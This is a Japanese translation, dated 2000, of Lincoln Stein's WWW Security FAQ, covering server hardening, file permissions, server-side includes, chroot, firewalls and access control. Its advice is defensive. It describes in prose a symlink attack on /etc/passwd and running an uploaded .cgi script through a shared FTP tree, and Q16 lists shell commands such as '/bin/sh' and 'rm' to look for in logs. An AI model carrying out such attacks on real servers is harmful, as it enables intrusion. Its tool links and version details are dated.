The World Wide Web Security FAQ(日本語版)

2000年10月訳出


注意



目次

  1. はじめに
  2. What's New? (原文を参照してください。)
  3. 一般的な質問
  4. 安全なサーバを実行する
  5. サイト内で機密文書を保護する
  6. CGI (サーバ) スクリプト
  7. Perl言語の記述方法
  8. サーバのログとプライバシー
  9. クライアント側のセキュリティ
  10. 特定のサーバでの問題
  11. DoS (サービス拒否) 攻撃から身を守る
  1. Bibliography 原文を参照してください。


1.はじめに

この文書は、World Wide Web のセキュリティについてよく質問される事項 (FAQ)をまとめたものです。 Webサーバの実行やWebブラウザの使用に当たり、 セキュリティ面で最もよく尋ねられる質問のいくつかに答えることを目的としています。

この文書(英文オリジナル)のコピーは、以下の場所で入手できます。

テキストのみや、ポストスクリプトのバージョンはありませんので、ご了承ください。

この FAQ は、「Web Security: A Step-by-Step Reference Guide」 というタイトルで、 Addison-Wesley Longman より本として出版されています。

この文書の著作権は Lincoln D. Stein にあります。 © copyright 1995-2000 Lincoln D. Stein

この文書は、W3C Intellectual Property Notice の規定に従った上で、自由に再配布することができます。

この文書の作成に当たりご助言、ご協力いただいた以下の方々に深く感謝します。


2.What's New?

(原文をご参照ください。)

3. 一般的な質問

Q1: セキュリティに関する注意事項を教えてください。

残念なことに、注意しなければならないことは数多くあります。WebサーバやLAN、ホスト Webサイト、そして無関係なWebブラウザのユーザまでもがセキュリティを侵される危険があるのです。

Webの所有者は、一番の危険にさらされています。自分のサイトにWebサーバをインストールしたときから、あなたは自分のローカルネットワークをインターネットに公開したことになります。多くのビジターは見るだけで満足しますが、中にはあなたが一般向けとして意図していないものも一目見ようとする人もいるでしょう。さらに、見ているだけでは 満足できずに、無理矢理入り込んでくる人もいるでしょう。被害は様々ですが、単なるいたずらで済まされる、たとえばあなたのホームページが下品なパロディーとすり替えられているというようなものから、深刻な損害、たとえばあなたの顧客情報のデータベースが すべて盗まれる、というようなものまで起こり得るのです。

一般的には、バグのあるソフトウェアがセキュリティに突破口をあけるといわれています。 大きく、複雑なプログラムにはバグがあるというのもよく言われることです。残念ながら、 Webサーバはセキュリティホールを持った可能性のある(いくつかの例では持っていると証明されている)大きく、 且つ複雑なプログラムなのです。さらに、Webサーバをオープン構築すると、リモートリクエストに応じて、 周囲のCGIスクリプトがサーバ側の接続に対して実行されてしまうことがあります。あなたのサイトにインストールされているCGI スクリプトはすべてバグを含んでいる可能性があり、そのバグはセキュリティホールになるかもしれないのです。

ネットワークの管理者の立場から見ると、Webサーバはあなたのローカルネットワークにもうひとつのセキュリティホールを作る可能性があります。ネットワークセキュリティの一般的な目標は、 部外者が入れないようにすることにあります。しかし、Webサイトの目的はあなたのネットワークへのコントロールされたアクセスを提供することです。 粗雑に構築されたWebサーバは、非常に綿密に設計されたファイアウォールのシステムに穴を開けることがあります。 また、粗雑に設計されたファイアウォールは、Webサイトを使用不可能にする可能性があります。 インターネットの環境では物事は格別に複雑になってきているので、 Webサーバはそれぞれにアクセス特権を与えられた様々なグループのユーザを認識し、 正当なユーザであることを証明できるように構築されていなくてはならないのです。

エンドユーザには、ネットサーフィンは安全で匿名のように思えますが、それは間違いです。 ActiveX コントロールやJava appletのようなアクティブコンテントは、ウェブを見たときにウィルスやその他の悪質なソフトウェアをユーザのシステムに送り込んでしまう可能性があります。 また、アクティブコンテントは、Webブラウザが悪質なソフトウェアに抜け道を与えて、 ファイアウォールにバイパスを作りLANへ入り込むようにしてしまうという点で、 ネットワークの管理者とも大いに関係があります。アクティブコンテントがなくても、 Web ページを見る行為そのものがユーザのネットサーフ履歴を電子記録として残すので、 そこからそのユーザの好みや習慣をとても正確に掴むことができてしまうのです。

つまり、エンドユーザとWebの管理者のどちらもWeb を介してやりとりされるデータの秘密には注意しなくてはならないのです。 TCP/IPのプロトコルはセキュリティを考えて設計されたものではないので、ネットワーク上での盗聴には無防備です。 機密文書がWebサーバからブラウザに送信されるとき、エンドユーザが送信フォームに個人情報を記入してサーバに送るとき、 その情報は盗聴されているかもしれないのです。


Q2: ここで言うセキュリティリスクとは正確には何のことですか?

基本的に、リスクには以下の3つのタイプがあり、これらは互いに重複しています。
  1. 許可のないリモートユーザに対し、以下の事を可能にしてしまうWebサーバのバグや構築ミスの問題。
  2. 以下のようなブラウザ側の危険。
  3. ネットワークの盗聴による、ブラウザとサーバのネットワークデータの送受信の妨害。 盗聴者は、ブラウザとサーバの間の以下のどの点からでも妨害することができます。

いわゆる「セキュアな」ブラウザやサーバは、機密文書や情報をネットワーク上での盗聴から守るためだけに設計されていると理解することが大切です。ブラウザ側とサーバ側の両方 のシステムが安全でなければ、機密文書も傍受に対して無防備なのです。 ネットワークの盗聴からの防御とシステムのセキュリティについては、この文書の1 〜 5 章で取り上げられています。クライアント側のセキュリティは 6、7 章に含まれます。8 章では特定の Web サーバのセキュリティに関する注意を扱います。


Q3: Web サーバをプラットフォームとして使用したいのですが、他よりも安全なオペレーションシステムはありますか?

ありますが、UNIX や NT 関係者には、あまり触れられたくない話題かもしれません。一般的には、強力で柔軟性の高いオペレーティングシステムほど、Web (やその他の) サーバを通しての攻撃をうけやすくなります。

UNIX システムは、多くのサーバやサービス、スクリプト言語、インタプリタが内蔵されており、クラッカーが利用する入り口を非常に多く持っているので特に攻撃を受けやすいシステムです。Macintosh や特別な目的の Web サーバボックスのようにもう少し能力の低いものはクラッカーに利用されにくくなります。最も安全なWeb サイトは骨子だけの Webサーバを実行している骨子だけの Macintosh です。詳細についてはQ84を参照してください。

もちろん、実際には、多くのサイトにはマルチタスクオペレーションシステムの性能の利点、データベースやミドルウェアの接続性の利点などを考えて Windows NT や UNIX を使うことを好むでしょう。セキュリティホールは UNIX、Windows NT の両方で見つかっており、さらに新しいセキュリティホールが日常的に見つかっています。Windows NT のシステムの中でも、最近のものの方がより攻撃されやすくなります。その理由は 1 つは OS が比較的新しく、大きなバグが直されていないということ、そしてもう 1 つは NT のファイルシステムとユーザアカウントシステムは非常に複雑で正しく構築することが難しいからです。

もしあなたがシステムを正しく構築することができ、かつベンダが提供するセキュリテイパッチをすぐかけるようにしていれば、いわゆる UNIX システムの方が NT システムよりも安全でしょう。しかし、サーバホストやソフトウェアの実行者の経験も考慮しなくてはなりません。経験の浅いシステム管理者が管理する UNIX システムは、熟練した管理者が管理する Windows NT システムよりもはるかに危険なのです。


Q4: 他よりも安全な Web サーバのソフトウェアプログラムはありますか?

前項と同じく、ありますがこの点についてお勧めできるものを紹介することは無謀です。 一般論ですが、サーバの提供する機能が多ければ多いほど、セキュリティホールを持っている可能性が高いでしょう。 要求に応じて固定ファイルを作成する程度の簡単なサーバの方が、リアルタイムのディレクトリの一覧表示や CGI スクリプトの実行、 サーバサイドインクルードの処理、スクリプトエラーの対応といった機能を提供する、複雑なサーバよりも恐らく安全でしょう。

NCSA の UNIX サーババージョン 1.3 は、有名な、重大なセキュリティホールを含んでいます。 1995年の3月に発見されたこのセキュリティホールは、部外者がサーバホストに対し、任意のコマンドを実行してしまうことが可能なものです。 もし、1995 年 3 月以前のバージョン 1.3 httpd バイナリをお持ちの場合は、使用しないでください! パッチされた1.3のサーバか、(http://hoohoo.ncsa.uiuc.edu/ で入手可能) またはバージョン 1.4 以上のもの(同じサイトで入手可能)と交換してください。 Apacheの NCSA 用プラグインの交換 (http://www.hyperreal.com/apache/info.html) もこのバグに関しては無料です。

また、ブラウザのそれぞれの文書やドキュメントツリーの一部へのアクセスを制限するサーバの能力にはかなり開きがあります。 全く制限をしないサーバもあれば、ブラウザの IP アドレスに基づいたディレクトリや正しいパスワードを与えることができるユーザにアクセスを制限できるものもあります。 いくつかの、有償サーバ(たとえば Netsite Commerce Server、Open Market など)もまた、データを暗号化することができます。

John Franks 氏による WN サーバは、特筆に値するサーバです。設計が、他の Web サーバとは一線を画したものだからです。 他の多くのサーバがファイルの配布を黙認する形を取り、ドキュメントルート内のどの文書の移動も特別に禁じられていない限り許してしまうのに対して、 WN では制限がかけられます。 サーバはファイルが移動を許可された文書のリストの中にない限り、そのファイルを移動しません。 その場でのディレクトリ一覧表示や、その他の「場当たり的」な機能も許可されません。 WN のセキュリティ機能は http://hopf.math.nwu.edu/docs/security.htmlを参照してください。

有償、フリーウェア、あるいはパブリックドメインの多くのサーバを比較した表が WebCompare サイト http://www.webcompare.com/にまとめられています。


Q5: CGI スクリプトは安全ではないのですか?

CGI スクリプトはセキュリティホールの主な発生源です。CGI (Common Gateway Interface) プロトコルがもともと安全でないというのではありませんが、CGI スクリプトはサーバと同じように注意して書かれなければなりません。 残念ながら、スクリプトの中にはこれをきちんと行っていないものがあり、 Web の管理者は問題に気付かずにそのスクリプトを信頼してサイトにインストールしてしまうのです。

Q6: サーバサイドインクルードは安全ではないのですか?

サーバサイドインクルードは、HTML文書に埋め込まれた、断片的なサーバの命令で、 これもセキュリティホールになる可能性があります。サーバサイドインクルードに使用できる命令のサブセットは、 サーバに任意のシステムコマンドや CGIスクリプトを実行するよう指示を出します。 作成者がHTMLの持ち得る問題について知らなければ、無意識のうちに、 思わぬ副作用を招くこともあります。あいにく、危険なサーバサイドインクルードを含んだ HTML ファイルは易しく書けるので魅力的に感じられます。

Apache や NCSA などいくつかのサーバでは、Webの管理者は任意のコマンドを実行できるインクルードのタイプを抜粋して disableにすることができます。詳細については、Q10を参照してください。


Q7: セキュリティ上で守らなければいけない一般的注意は何ですか?

もしあなたが Web やシステムの管理者、もしくはネットワークの管理に携わっている方ならば、 サイトのセキュリティを高めるためにできる最も重要なステップは、セキュリティ方針を文書にすることです。 このセキュリティ方針は、以下のことに関してあなたの組織の方針を簡潔に述べたものです。 この方針は見栄えの良いものである必要は全くありません。情報システムがどのように動いているのかを、 あなたの組織の技術的、政治的な現実を考慮して簡潔に要約することが必要です。 セキュリティ方針を文書にすることにはいくつかの利点があります。
  1. 自分自身が、システムの何が許可され、何が許可されていないのか理解することができます。 もしあなたが、許可されていることをはっきりとわかっていない場合、侵害が起こったときに自信を持てなくなります。
  2. あなたの組織の人々がセキュリティ方針とは何かを理解することができます。 方針を文書にすることで、セキュリティに対する意識のレベルをあげることができ、 話の焦点を知らせることができます。
  3. セキュリティ方針は技術的解決法を判断する要求書として働きます。それによって、 「まず買おう、そしてあとで問い合わせよう」症候群からガードしやすくします。
  4. セキュリティ方針は訴訟を起こす必要があるときにあなたの立場を強めます。
セキュリティ方針を作成する上でのその他の提案などはこの文書の最後の the general Internet security reference works のリストに挙げられています。

UNIX や NT システムで実行する Web サーバには、いくつかセキュリティ上の注意事項があります。

  1. そのマシンで使用できるログインアカウントの数を制限します。アクティブでないユーザは削除します。

  2. ログインを許可された人々が、適切なパスワードを選ぶようにさせます。Crackプログラムを使えば、 不適切なパスワードを検出できます。

    ftp://ftp.cert.org/pub/tools/crack/

  3. 使用していないサービスは消します。たとえば、Web サーバホストで FTP を実行する必要のない場合は FTP のソフトウェアを削除します。 tftp、sendmail、gopher、NIS(network information services) クライアント、NFS (networked file system)、finger、systat、その他すべての使われずにおいてあるだけのソフトウェアについても同様にします。 使用されていない可能性のあるサーバは、/etc/inetd.conf ファイル (UNIX) または Service Manager のリストを確認してください。使っていないものは非アクティブにしましょう。

  4. 全く必要のないシェルやインタプリタは削除します。たとえば Perl を基本としたCGIスクリプトを実行しない場合は、Perl のインタプリタを削除します。

  5. 疑わしい動きがないか、システムと Web のログを定期的にチェックしましょう。 Tripwire (UNIX) や、Internet Security Scanner (UNIX & NT) のプログラムはこの種の動きの検索に役立ちます。
    Tripwire
    ftp://coast.cs.purdue.edu/pub/COAST/Tripwire/
    Internet Security Scanner
    http://www.iss.net
    以下、Web ログでの疑わしい動きをさらに詳細にスキャンする方法について述べます。

  6. システムファイルに許可が正しく設定されているか確かめ、いたずらを阻止します。  UNIX システムでは、COPS のプログラムが便利です。
    ftp://ftp.cert.org/pub/tools/cops/
    Windows NT では、Midwestern Commerce's Administrator Assistant Toolkit を試してください。
    http://www.ntsecurity.com
ローカルユーザがWeb サーバのコンフィギュレーションファイルやドキュメントツリーを誤って変更し、セキュリティホールを開けてしまう可能性もあるので注意してください。 信頼できるローカルユーザだけが変更できるように、文書やサーバルートディレクトリにファイルの許可をセットしておきましょう。 多くのサイトは "www" というグループを作って、信頼できる Web の作成者をそこに入れます。 ドキュメントルートはこのグループのメンバのみ書き込むことができます。さらにセキュリティを高めるために、 重要なコンフィギュレーションファイルのあるサーバルートは、正規の Web の管理者のみが書き込めるようにしておきます。 多くのサイトはこの目的のために "www" ユーザを作るのです。

Q8: ネットワークのセキュリティ対策について、さらに知るには?

全般的セキュリティについて知るには、以下の本がいいでしょう。

新しいセキュリティホールなどのタイムリーな情報源としては、newsgroup comp.security.announce に公示された CERT Coordination Center advisories があり、 以下に掲載されています。

ftp://ftp.cert.org/pub/cert_advisories/

WWW のセキュリティの問題に焦点を絞ったメーリングリストが IETF Web Transaction Security Working Group によって管理されています。定期購読するには、www-security- request@nsmx.rutgers.edu にメールを送ってください。 メッセージの本文に、 以下のように記入します。

SUBSCRIBE www-security your_email_address

Internet Security Systems,Inc.では、一連の Security FAQ を提供しています。 このFAQの最新版は以下で見ることができます。

http://www.iss.net/sec_info/addsec.html

主な WWW FAQ にも、 Web セキュリティに関係のある質問と回答、たとえばログファイルの管理やサーバソフトウェアのソースなどが含まれています。 最も新しいバージョンのFAQは以下にあります。

http://www.boutell.com/faq/



4. 安全なサーバを実行する

Q9: サーバとドキュメントルートにファイル許可を設定するには?

セキュリティを最大限にするため、HTML 文書が保存されているドキュメントルートとログやコンフィギュレーションファイルが保存されているサーバルートに対して、 正式な理由でどうしても知る必要がある場合にのみ情報にアクセスさせる「need-to-know」の方針を厳密に適用すべきです。 CGI スクリプトや、ログの破損しやすいコンテンツ、コンフィギュレーションファイルなどが保存されているのでサーバルートの許可書を取ることが最も大切です。

あなたは、サーバをローカルまたはリモートユーザの詮索する目から守らなくてはなりません。 最も簡潔な方策は Web の管理者を"www"ユーザとして指定し、"www" グループを作成してあなたのシステムで HTML 文書を作成する人すべてをこれに入れることです。 UNIX のシステムで、/etc/passwd ファイルを編集し、www ユーザのホームディレクトリがサーバルートになるようにしてください。 /etc/group を編集して、www グループのすべての作成者を加えるよう編集します。

サーバルートは www ユーザだけがコンフィギュレーションやログのディレクトリまたはコンテンツに書き込むことができるようにセットアップしてください。 これらのディレクトリの読み込みを www グループに許可するかはあなた次第です。Cgi-bin ディレクトリとそのコンテンツは、 世界中で実行可能、読み込み可能ですが、書き込みは不可能です (このディレクトリに関して、 信頼できるローカルの Web の作成者に書き込み許可を与えることができます)。

drwxr-xr-x   5 www      www          1024 Aug  8 00:01 cgi-bin/
drwxr-x---   2 www      www          1024 Jun 11 17:21 conf/
-rwx------   1 www      www        109674 May  8 23:58 httpd
drwxrwxr-x   2 www      www          1024 Aug  8 00:01 htdocs/
drwxrwxr-x   2 www      www          1024 Jun  3 21:15 icons/
drwxr-x---   2 www      www          1024 May  4 22:23 logs/

ドキュメントルートには異なった必要条件があります。あなたがインターネットで使えるようにしたいファイルは、 "nobody" というユーザの許可で実行されている間にサーバから読み込むことができなくてはなりません。 またローカルの Web ページ作成者が自由にドキュメントルートにファイルを加えられるようにしたくなるでしょう。 そのためにはドキュメントルートディレクトリを作り、そのサブディレクトリはユーザと "www" グループの所有で、誰でもが読み込むことができ、グループの人々は書き込むことができるようにすると良いでしょう。

drwxrwxr-x   3 www      www          1024 Jul  1 03:54 contents
drwxrwxr-x  10 www      www          1024 Aug 23 19:32 examples
-rw-rw-r--   1 www      www          1488 Jun 13 23:30 index.html
-rw-rw-r--   1 lstein   www         39294 Jun 11 23:00 resource_guide.html

多くのサーバは、ドキュメントツリーの一部へのアクセスを、特定の IP アドレスや正しいパスワード (下記参照)を持ったリモートユーザに制限することができます。 しかし、Web の管理者の中には許可のない、ローカルユーザがドキュメントルートにあるアクセス制限された文書へアクセスしてしまうことを心配する人もいるでしょう。 このことはルートが誰でも読み込むことができる場合に問題になります。

この問題の解決法の1つは、サーバを "nobody" 以外、たとえば "www" グループに属していて特権のないユーザ ID などで実行することです。 これによってグループの人は読み込むことができても、部外者は読み込むことのできないアクセス制限された文書ができます (サーバが文書を書き換えることができてしまうので、グループに書き込み許可は与えないでください)。 こうすればローカルの、あるいは世界中の詮索の目から文書を守ることができます。 必ず、すべての制限されたサーバスクリプトに、同じように読み込みと実行の許可を設定してください。

CERN サーバではこの方法が一般化されており、制限されたドキュメントツリーが、それぞれの部分ごとに、 別々のユーザ特権またはグループ特権で実行されるようになっています。設定の方法については、 CERN のマニュアルを参照してください。

サーバをrootとして起動するが、実行は他のユーザとして行っている場合(Q11参照)、 サーバが実行ユーザの立場ではログのディレクトリの書き込みができないようになっていることが特に重要です。 たとえば、Netscape FastTrack と SuiteSpot サーバではサーバを実行しているユーザによって書き込みが可能になっています (つまり、デフォルトの設定では "nobody" に設定されています)。このことはいくつかの CGI のバグの影響を通常よりはるかに悪化させてしまう可能性があります。 たとえば、CGI のバグはリモートユーザが任意のコマンドを実行可能にしてしまいます。 そして、リモートユーザはバグを利用してサーバのルートアクセスの権限を得、ログファイルを /etc/passwd へのsymlink と取替えることができるようになります。お勧めできる回避策は、ログディレクトリの所有権を変更してサーバ・ ユーザが書き込みできないようにし、サーバ・ユーザの所有として空のログと pid ファイルを作っておくことです(これらのファイルを開くことができないと、サーバは起動し ません)。この解決法は、クラッカーがログファイルをいじることができてしまうので最適なものとは言えませんが、 デフォルトの設定よりははるかに良いでしょう。他の商用サーバにもこのバグがある場合があります。 (Laura Pearlman氏の情報提供に感謝します)


Q10: 非常にたくさんの機能をもったサーバを使用しています。それらの機能にセキュリティのリスクはありますか?

あります。サーバの使用、実行の利便性を高めてくれる機能は、同時にセキュリテイを破損する機会も増やしてしまうのです。 その危険性のある機能のリストを以下に記載します。もしその機能が必要でなければ、オフにしてください。
自動ディレクトリ一覧機能
知識は力となります。そして離れたところにいるクラッカーがあなたのシステムについて理解すればするほど抜け道を見つけるチャンスは多くなります。 CERNNCSA、Netscape、Apache、などのサーバが提供している自動ディレクトリ一覧機能は便利ですが、 取り扱い注意の情報にクラッカーがアクセスする可能性があります。こうした情報には、CGI スクリプト用のソースコードを含んだ古いバックアップファイルや、ソースコードのコントロールログ、 かつて便宜上作ったものの忘れてしまったシンボリックリンク、テンポラリファイルなどがあります。

もちろん、自動ディレクトリ一覧機能をオフにしても、名前が推測できるようなファイルは盗難される危険があります。 また、自動テキストキーワード検索プログラムが不注意に「隠された」ファイルをインデックスに加えてしまうことも避けられません。 安全のためには、必要のないファイルはドキュメント・ルートからすべて削除してしまうべきでしょう。

シンボリックリンク
サーバの中には、シンボリックリンクでドキュメントツリーを拡張できるものもあります。 これは便利ですが、誰かが誤ってシステムの大切な部分、たとえば /etc にリンクを作ってしまった場合に、 セキュリティの破損のきっかけになる可能性があります。ディレクトリ・ツリー安全に拡張するには、 サーバのコンフィギュレーションファイル (NCSA 形式のサーバの Path Alias 指令や CERN サーバの Pass rule などを含む)に明確なエントリを作る必要があります。

NCSA や Apache サーバでは、シンボリックリンクを完全にオフにすることができます。 もうひとつのオプションとして、リンクの所有者がリンクのターゲットの所有者と一致した場合のみ、 シンボリックリンクでのジャンプを可能とすることもできます (つまり、 ドキュメントツリー中で自分が所有する部分はセキュリティが損なわれる恐れがありますが、 他の人の所有する部分にはリスクを与えずにすみます)。

サーバサイドインクルード (SSI)
"exec" 形式のサーバサイドインクルードは、重大なセキュリティホールです。 サーバサイドインクルードの使用は、信頼できるユーザに限定するか、 全くオフにしてしまうべきです。NCSA httpd または Apache では、以下の命令を access.conf の適当なディレクトリ制御部に置くことによってexec をオフにすることができます。
      Options IncludesNoExec
ユーザ保持のディレクトリ
ホストシステム上のすべてのユーザがあなたの Web サイトに文書を加えることができるというのは素晴らしく平等なシステムですが、 セキュリティホールを作ってしまわないようユーザを深く信頼できなくてはなりません。 ユーザ自らのディレクトリ保持を可能とすると、ユーザは、機密情報を含んだファイルを公開したり、 セキュリティホールとなる CGI スクリプト、サーバサイドインクルード、シンボリックリンクなどを作成できるようになります。 この機能はどうしても必要でない限り、オフにしておいたほうが良いでしょう。 ユーザがホームページを作成する必要があるときは、そのユーザ固有のドキュメント・ルートを作って作業をさせ、 また、そのユーザがどんな作業をしているか把握しておくことをお勧めします。 そのホームページがユーザのホームディレクトリにあっても、ドキュメント・ルートの一部にあっても、 このエリアではサーバサイドインクルードや CGI スクリプトは許可しないほうが良いでしょう。

Q11: サーバを「ルート」から実行するのは良くないと聞きました。本当ですか?

このことは、ネットについての誤解や意見の相違の起こる元となっていました。 多くのサーバは、標準のHTTPポートである80のポートを開けてログファイルに書き込みができるよう、 ルートとして起動されます。サーバはポート80に入ってくる接続を待ち、接続があるとその要求に対応するために子プロセスを分岐させ、 また待機状態に戻ります。一方、子プロセスは有効なIDを "nobody(匿名)" ユーザに変更し、 リモートの要求の処理を遂行します。CGI スクリプトの実行やサーバサイドインクルードの解析などの要求に必要な処理は、 すべて特権のない「匿名」ユーザとしてなされます。

「ルートからサーバを起動する」とリスクがあるとされるのはこうした場合ではありません。 リスクがあると言われるのは、サーバが子プロセスをルートとして実行するよう構成されているケースです (たとえば、サーバコンフィグレーションファイル内に「ユーザルート」を指定するなど)。ルート権限で 起動された CGI スクリプトはそのシステムのあらゆる部分にアクセスできるようになるため、 これは重大なセキュリティ・ホールです。

サーバをルートで起動するのはどのような場合でも止めた方が良い、と言う人もいます。 サーバコードを起動してから子プロセスに分岐するまでの間、サーバの動きを制御する部分にどんなバグが潜んでいるか わからないと言うのです。パブリック・ドメイン・サーバのソースコードは自由に入手でき、そのよう な部分でバグはないとは思われますが、この警告は、間違ってはいません。サーバは普通の、 特権のないユーザ ID で実行した方が安全かもしれません。サーバを"nobody" "daemon""www"などで起動するサイトもたくさんあります。 しかし、この方法には、2つの問題があります。

  1. 80のポートを開くことができなくなります (少なくとも UNIX システムでは開くことはできません)。他のポート、 たとえば8000や8080のポートで通信するようにサーバに認識させなければなりません。
  2. サーバを実行しているユーザ ID でコンフィギュレーションファイルの読み込みができるようにしなくてはならなくなります。 これをすると、誤った CGI スクリプトがサーバのコンフィギュレーションファイルを読み込む可能性が出てきます。 また、このユーザ ID でのログファイルの読み込み、書き込みを可能にしなければならないため、 破壊されたサーバまたは CGI スクリプトがログを変えてしまう可能性があります。 上記のファイル許可に関する説明を参照してください。

Q12: 同じドキュメントツリーを FTP と Web サーバで共有したいのですが、何か問題はありますか?

FTP デーモンと Web デーモンの間でディレクトリを共有しようとするサイトがたくさんありますが、これは、 リモートユーザに対し、後からWeb デーモンで読み込み/実行可能なファイルのアップロードを不可としていない限り、 問題となります。

仮説をたててみましょう。".cgi" という拡張子で終わるファイルをすべて実行するよう構成されている WWW があるとします。あなたのFTPデーモンを使って、リモートにいるクラッカーはあなたの FTP サイトに Perl のスクリプトをアップロードし、それに ".cgi" の拡張子を付けます。 そして自分のブラウザからあなたの Web サーバに新しくアップロードしたファイルを要求します。 そしてずばり、クラッカーはあなたのシステムを騙して、好きなコマンドを実行できるようになります。

FTP と Web サーバの階層を重ねることはできます。しかしFTP アップロードは、「匿名」ユーザに読み込みのできない 「新しくできた」ディレクトリに制限してください。


Q13: "chroot" 環境でサーバを実行することでサーバを完全に安全にできますか?

完全に安全にすることはできませんが、chroot 環境で実行することで UNIX の環境の中での安全性はかなり高めることができます。 Chroot のシステムコマンドは、そのために別にしておいたディレクトリツリーの向こう側にあるシステムファイルが見えないように 「銀色のフィルタ」でサーバをくるみます。指定されたディレクトリは、サーバの新しいルート "/" ディレクトリになります。 このディレクトリより上のものは一切アクセスできません。

Choroot 環境でサーバを実行するために、サーバがアクセスする必要のあるものをすべて含んだルートファイルシステムの縮小版を作らなくてはなりません。 ここには、特別なデバイスファイルや共有ライブラリも含みます。 サーバのコンフィギュレーションファイルのすべてのパス名を調整し、 新しいルート・ディレクトリとの関連づけを行う必要もあります。この環境でサーバを起動するには、以下のように chroot コマンドを呼び出すシェルのスクリプトを置いてください。

   chroot /path/to/new/root /server_root/httpd

新しいルートディレクトリを設定するのは難しいし、このFAQの適用範囲外でもあります。 詳細については前述した著者の作品を参照してください。"chroot" 環境の効果を高めるには、 新しいルートディレクトリをできるだけ空に近い状態にしておくということを覚えておいてください。 新しいルートディレクトリには、インタプリタ、シェル、コンフィギュレーションファイル (/etc/passwd!を含む) を入れないでください。つまり残念ながら、 Perl や shell をもとにした CGI スクリプトは chroot 環境では実行できないということになります。 これらのインタプリタを入れることはできますが、chroot の利点のいくつかは失われます。

また、chroot はファイルを保護するだけで、万能の解決策ではないということに注意してください。 クラッカーが他の方法、たとえば NIS 情報サービスからシステムマップを取り込む、NFS をいじるなどして、 あなたのシステムに侵入してくるのを防ぐことはできません。


Q14: ローカルネットワークがファイアウォールの後ろ側にあります。これを使って自分の Web のセキュリティを高めることはできますか?

ファイアウォールを使ってサイトのセキュリティを高める方法はいくつもあります。 最も直接的なファイアウォールの使用法は、「内部サイト」、つまりあなたの LAN 内部にあるコンピュータしかアクセスできないサイトを作ることです。 この方法は、サーバをファイアウォールの内側に置くだけで実行できます。
          other hosts
                     \
       server <-----> FIREWALL <------> OUTSIDE
                     /
          other hosts

しかし、サーバを世界中に公開したい場合は、ファイアウォールの外側のどこかに置かなくてはなりません。 あなたの組織全体のセキュリティを考えると、完全にLAN の外側に置くのが一番安全でしょう。

          other hosts
                     \
   other hosts <----> FIREWALL <---> server <----> OUTSIDE
                     /
          other hosts

これは「犠牲」構成と呼ばれます。サーバは侵入される危険性はありますが、 少なくとも侵入時に内部ネットワークのセキュリティを破損されることはなくなります。

WWW サーバをファイアウォールのマシンで実行することはお勧めできません。 サーバに何らかのバグがあると組織全体のセキュリティを危険にさらしてしまうからです。

この基本的な設定には、いくつものバリエーションがあります。公開情報には世界中にアクセス権を与え、 私的な文書には内部のネットワークアクセスを与えるなど、「内部用」 サーバと「外部用」サーバを組み合せる構成もあります。詳細については、 著作を参照してください。


Q15: ローカルネットワークがファイアウォールの後ろ側で実行されています。 Web サーバを公開するためにファイアウォールに穴を空けることはできますか?

できますが、そのようなことをすると、ファイアウォールにセキュリティホールを作ることになります。 上記のように「犠牲」のサーバを作る方がはるかに賢明でしょう。しかしファイアウォールの中には、 外側にホストをおくことができない構造のものもあります。その場合はファイアウォールを破らざるを得ないでしょう。 以下のような2つの選択肢があります。
  1. "screened host" タイプのファイアウォールを使用している場合、WWW サーバマシンと行き来している ポート 80 に対して要求を通すことを許可できます。WWW サーバに誰もが要求を送受信することができるよう、 堤防に小さな穴を開けることになります。
  2. "dual homed gateway" タイプのファイアウォールを使用している場合、 ファイアウォールマシンにプロキシをインストールする必要があります。 プロキシはファイアウォールの両側に置くことができる小さなプログラムです。 Web サーバから送られる情報の要求は、プロキシによって傍受され、サーバマシンに送られ、その返信が要求者におくら れます。TIS システムズの小さく、信頼できる HTTP プロキシは、以下で入手できます。

ftp://ftp.tis.com/pub/firewalls/toolkit/

CERN サーバもプロキシの役割ができるよう構成されています。しかし、 CERN サーバは未知のセキュリティホールを含んでいる可能性のある大きく、 複雑なソフトウェアなのであまりお勧めしません。

ファイアウォールに関するより詳しい情報はWilliam Cheswick 氏、 Steven Bellovin氏共著の Firewalls and Internet Security およびD. Brent Chapman 氏、 Elizabeth D. Zwicky 氏共著のBuilding Internet Firewalls を参照してください。


Q16: サイトに侵入された場合、どうしたらそれを探知できるのですか?

UNIX システムの場合、定期的にシステムをスキャンしてシステムファイルやプログラムが書き換えられていないか検索する仕掛けのプログラムがあります。 そのプログラムは、以下で入手できます。

ftp://coast.cs.purdue.edu/pub/COAST/Tripwire/

また、疑わしい動きがないか、定期的にアクセスとエラーのログファイルをチェックしてください。 "rm"、"login"、"/bin/sh" または "pearl" などのシステムコマンドや極端に長いURL が含まれているアクセスを探します(前者はシステムコマンドを呼び出すよう CGI スクリプトを騙そうとしていることを示し、後者はプログラムの入力バッファを溢れさせようとしていることを示します)。 また、パスワードで保護された文書へのアクセスに対し、何度も繰り返してエラーが出たものも探します。 これは、誰かがパスワードを解き当てようとした兆候の可能性があります。



5. サイト内で機密文書を保護する

Q17: どのようなタイプのアクセス制限が使用できますか?

使用可能なアクセス制限方法は3タイプあります。
  1. IP アドレス、サブネット、ドメインによる制限
    指定された IP (インターネット) アドレス、IPサブネット、ドメインからの接続のブラウザのみ、 個々の文書やディレクトリ全体にアクセス可能にすることで、それらを保護する。
  2. ユーザ名やパスワードによる制限
    リモートユーザが文書やディレクトリにアクセスするには、 ユーザ名とパスワードの入力を必須とすることでそれらを保護する。
  3. 公開鍵暗号方式を使った暗号化
    文書への要求と文書それ自体を、意図された受取人以外は誰もそのテキストを読むことができないような方法で暗号化する。 公開鍵暗号方式は、正規ユーザの照合にも使用できます。以下を参照してください。

Q18: IP アドレス、ドメインによる制限はどのくらい安全ですか?

IP アドレスによる制限は、気軽な詮索は防ぐことができますが、 意図的なクラッカーは防ぐことができません。IP アドレスによる制限には、いくつか抜け道があります。 的確な装置とソフトウェアがあれば、クラッカーは自分の IP アドレスを「なりすまし」 により本当の自分の位置とは違う場所から接続しているように見せます。 あなたのサーバに接続している認可されたホストが本当にあなたが思っている人なのか、 何も保証はありません。リモートホストは侵入され、フロントとして使用されているかもしれません。 安全のためには、IP アドレスによる制限は、ユーザ名とパスワードをチェックするなど、 何かユーザの確認をするものと組み合わせて使用しなくてはなりません。

IPアドレスのなりすましの検索・拒絶が可能なファイアウォールマシンの後ろでサーバを実行すれば、 IPアドレス制限のセキュリティ効果は非常に高くなります。こうした検索は、 ネットワーク内部のマシンになりすまして外部から侵入しようとするパケットを遮断するのに最も効果的です。

